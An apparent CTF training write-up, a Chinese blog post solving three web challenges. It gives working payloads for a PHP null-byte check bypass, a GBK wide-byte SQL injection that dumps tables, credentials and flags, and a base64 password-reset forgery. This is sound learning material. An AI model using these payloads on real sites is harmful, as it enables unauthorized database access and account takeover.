NJU trinity 内训WP1，web1-3

原创

frostwing98 于 2018-01-27 19:35:39 发布 331 收藏

分类专栏： 网络攻防技术与实践 刷题报告 文章标签： 网络攻防

本文链接：https://blog.csdn.net/qq_37820590/article/details/79182635

网络攻防技术与实践 同时被 2 个专栏收录

3 篇文章 0 订阅

订阅专栏

刷题报告

7 篇文章 0 订阅

订阅专栏

好气啊……搞密码学的密码学弄不会……先从web题入手吧

1. php-basic1

> http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php

打开发现给出了源代码。

```
view-source:
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '骚年，继续努力吧啊~';
    }
```

然后试着把网址改为：

> http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1

发现输出了“骚年，继续努力吧”大概的意思就明白了。
要绕过的是这第一个判断，进入第二个判断……也就是说nctf后面第一个要是一个数，第二个要是biubiubiu.
这里考察的是00截断，当ereg遇到00的时候就会认为结束退出，所以我们只要用00截断就能进入第二个判断，payload就是：
nctf=1%00%23biubiubiu
23是#,第二个判断读入的是%00biubiubiu这个字符串。

```
Flag: flag:nctf{use_00_to_jieduan}
```

但是值得注意的是如果用了nctf[]的payload，会导致报错直接xjb爆出flag。这可能是因为strpos数组越界返回值为null，!=false.

```
Warning: strpos() expects parameter 1 to be string, array given in web4/f5a14f5e6e3453b78cd73899bad98d5
Flag: flag:nctf{use_00_to_jieduan}
```

2. SQL-basic1

> http://chinalover.sinaapp.com/SQL-GBK/index.php?id=2

这是一道盲注题。准确的说是宽字节注入。
会发现当将id=2修改为id=1时会返回这样的东西。

```
your sql:select id,title from news where id = '1â€˜'
```

那这可能存在GBK宽字节注入。

爆字段

分别尝试
id=-1%df' order by 1 %23 （df后面的单引号闭合query前面的引号，%23='#'注释掉后面的query里面的引号）
id=-1%df' order by 1,2 %23
id=-1%df' order by 1,2,3 %23<–报错
有两个字段。
用union select爆出了2

```
id=-1%df' union select 1,2 %23
```

爆库

继续盲注爆出了一个库
id=-1%df' union select 1,database() %23

```
sae-chinalover
```

现在就可以随便爆了：

爆表名

```
id=-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=dat
```

```
ctf,ctf2,ctf3,ctf4,news
```

猜测是第一个，继续爆字段

```
id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x6
```

```
user,pw
```

you know what to do.

ctf-ctf4挨个爆破。

2.1ctf

```
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df' union select 1,group_concat(user,pw) from ctf
```

admin21dd715a3605b2a4053e80387116c190,md5加密。
解出来的没有用

2.2 ctf2……没有

2.3 ctf3……没有

2.4 ctf4：有了

payload：

> id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x637466 %23

id,flag
返回：
1 nctf{gbk_3sqli}
getflag
3. logic-basic1

> http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg%3D%3D

密码找回的逻辑bug
首先，网址的Y3RmdXNlcg%3D%3D就是base64，解出来就是Y3RmdXNlcg==
ctfuser
我们直接反过来编码admin的base64放到地址里面然后用burpsuite拦截

> flag is:nctf{reset_password_often_have_vuln}